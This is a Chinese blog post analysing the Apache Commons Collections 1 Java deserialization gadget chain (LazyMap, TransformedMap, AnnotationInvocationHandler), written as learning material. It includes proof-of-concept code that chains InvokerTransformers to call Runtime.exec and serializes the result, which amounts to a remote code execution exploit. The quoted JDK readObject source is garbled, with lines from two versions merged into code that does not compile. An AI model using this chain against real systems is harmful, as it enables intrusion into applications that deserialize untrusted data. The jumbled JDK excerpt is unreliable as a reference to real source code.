Java安全之Commons Collections1分析(二)

0x00 前言

续上篇文,继续调试cc链。在上篇文章调试的cc链其实并不是一个完整的链。只是使用了几个方法的的互相调用弹出一个计算器。

Java安全之Commons Collections1分析(一)

下面来贴出他的完整的一个调用链

Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

0x01 LazyMap

在分析前先来看看LazyMap这个类,这个类和TransformedMap类似。都是AbstractMapDecorator继承抽象类是Apache Commons Collections提供的一个类。在两个类不同点在于TransformedMap是在put方法去触发transform方法,而LazyMap是在get方法去调用方法。

当调用get(key)的key不存在时,会调用transformerChain的transform()方法。

修改一下poc,使用LazyMap的get方法来触发命令执行试试。

 public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
}; //将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value"); Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
tmpmap.get("1"); }

这样也是可以成功的去执行命令。

0x02 AnnotationInvocationHandler

网上查找资料发现AnnotationInvocationHandler该类是用来处理注解的。

AnnotationInvocationHandler类的构造函数有两个参数,第⼀个参数是⼀个Annotation类类型参数,第二个是map类型参数。

在JDK里面,所有的注解类型都继承自这个普通的接口(Annotation)。

查看它的readObject⽅法

 private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
ObjectInputStream.GetField fields = s.readFields();
@SuppressWarnings("unchecked")
Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
@SuppressWarnings("unchecked")
Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
annotationType = AnnotationType.getInstance(t);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
} Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// consistent with runtime Map type
Map<String, Object> mv = new LinkedHashMap<>(); // If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
// for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
String name = memberValue.getKey();
Object value = null;
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value = new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
annotationType.members().get(name));
}
}
mv.put(name, value);
} UnsafeAccessor.setType(this, t);
UnsafeAccessor.setMemberValues(this, mv);
}

使用反射调用AnnotationInvocationHandler并传入参数,这里传入一个Retention.class,和outerMap

Retention是一个注解类。outerMap是我们TransformedMap修饰过的类。

这么这时候在 AnnotationInvocationHandlerreadObject方法里面 memberValues就是我们使用反射传入的 TransformedMap的对象。

 Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);

这⾥遍历了它的所有元素,并依次设置值。在调⽤setValue设置值的时候就会触发TransformedMap⾥的

Transform,从而进入导致命令的执行。

0x03 POC分析

public static void main(String[] args) {

            Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] {
"calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject(); }
}

这里可以看到 在Transformer[]数组里面存储的是一个Runtime.class,而不是Runtime对象。这是因为Runtime并没有实现java.io.Serializable 接⼝的 。是不可被序列化的。而Runtime.class是属于java.lang.Classjava.lang.Class 是实现了java.io.Serializable 接⼝的。可以被序列化。

把这行代码序列化后,在后面的反序列化中并没有去执行到命令。因为物理机的JDK版本较高,在高版本中的AnnotationInvocationHandlerreadObject是被改动过的 。 从而并没有到达命令执行的目的,但是在低版本中的JDK是可以执行的。

0x04 参考文章

P牛的JAVA安全漫谈系列
https://xz.aliyun.com/t/7031#toc-2
https://www.cnblogs.com/litlife/p/12571787.html
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

0X05 结尾

在分析该cc链时,总是从懵逼到顿悟到再懵逼,反反复复。在中途脑子也是一团糟。其实到这里CC链的调试也并没有结束,本文只是一点基础知识,为下篇文做铺垫。

Java安全之Commons Collections1分析(二)的更多相关文章

  1. Java安全之Commons Collections1分析(三)

    Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...

  2. Java安全之Commons Collections1分析(一)

    Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...

  3. Java安全之Commons Collections1分析前置知识

    Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...

  4. Java安全之Commons Collections3分析

    Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...

  5. Java安全之Commons Collections2分析

    Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...

  6. Java安全之Commons Collections5分析

    Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...

  7. Java安全之Commons Collections7分析

    Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...

  8. Java安全之Commons Collections6分析

    Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...

  9. Java线程池使用和分析(二) - execute()原理

    相关文章目录: Java线程池使用和分析(一) Java线程池使用和分析(二) - execute()原理 execute()是 java.util.concurrent.Executor接口中唯一的 ...

随机推荐

  1. Shader 语义

    在书写HLSL shader程序时,输入和输出变量需要拥有他们 含义来表明语义.这在HLSL shader中是一个标准的做法. Vertex shader 输入语义 主顶点着色器函数(被指令 #pra ...

  2. 不支持原子性的 Redis 事务也叫事务吗?

    文章收录在 GitHub JavaKeeper ,N线互联网开发必备技能兵器谱 假设现在有这样一个业务,用户获取的某些数据来自第三方接口信息,为避免频繁请求第三方接口,我们往往会加一层缓存,缓存肯定要 ...

  3. 14 el-dialog 基本结构

    1 dialogVisible父组件提供,:visible.sync直接修改父组件的dialogVisible,会报错,需要加上before-close属性 <template> < ...

  4. python实践项目1

    python #南昌理工学院人工智能学院实验室 WORKSHOP 实践项目 import time print('welcome to our WORKSHOP') print('.......... ...

  5. ZT:C/C++ 字符串与数字相互转换

    转载地址:https://www.cnblogs.com/happygirl-zjj/p/4633789.html 一.利用stringstream类 1. 字符串到整数     stringstre ...

  6. MySQL中存储json格式数据

    1.1.1. JSON类型数据存储 新建表 create table json_user ( uid int auto_increment, data json, primary key(uid) ) ...

  7. 喵的Unity游戏开发之路 - 多场景:场景加载

    如果丢失格式.图片或视频,请查看原文:https://mp.weixin.qq.com/s/RDVMg6l41uc2IHBsscc0cQ 很多童鞋没有系统的Unity3D游戏开发基础,也不知道从何开始 ...

  8. J.U.C之Executor框架入门指引

    1.Executor接口 This interface provides a way of decoupling task submission from the mechanics of how e ...

  9. 分享一个php的防火墙,拦截SQL注入和xss

    一个基于php的防火墙程序,拦截sql注入和xss攻击等 安装 composer require xielei/waf 使用说明 $waf = new \Xielei\Waf\Waf(); $waf- ...

  10. python-scrapy框架初探

    内置支持 selecting and extracting 使用扩展的CSS选择器和XPath表达式从HTML/XML源中获取数据,并使用正则表达式提取助手方法. interactive shell ...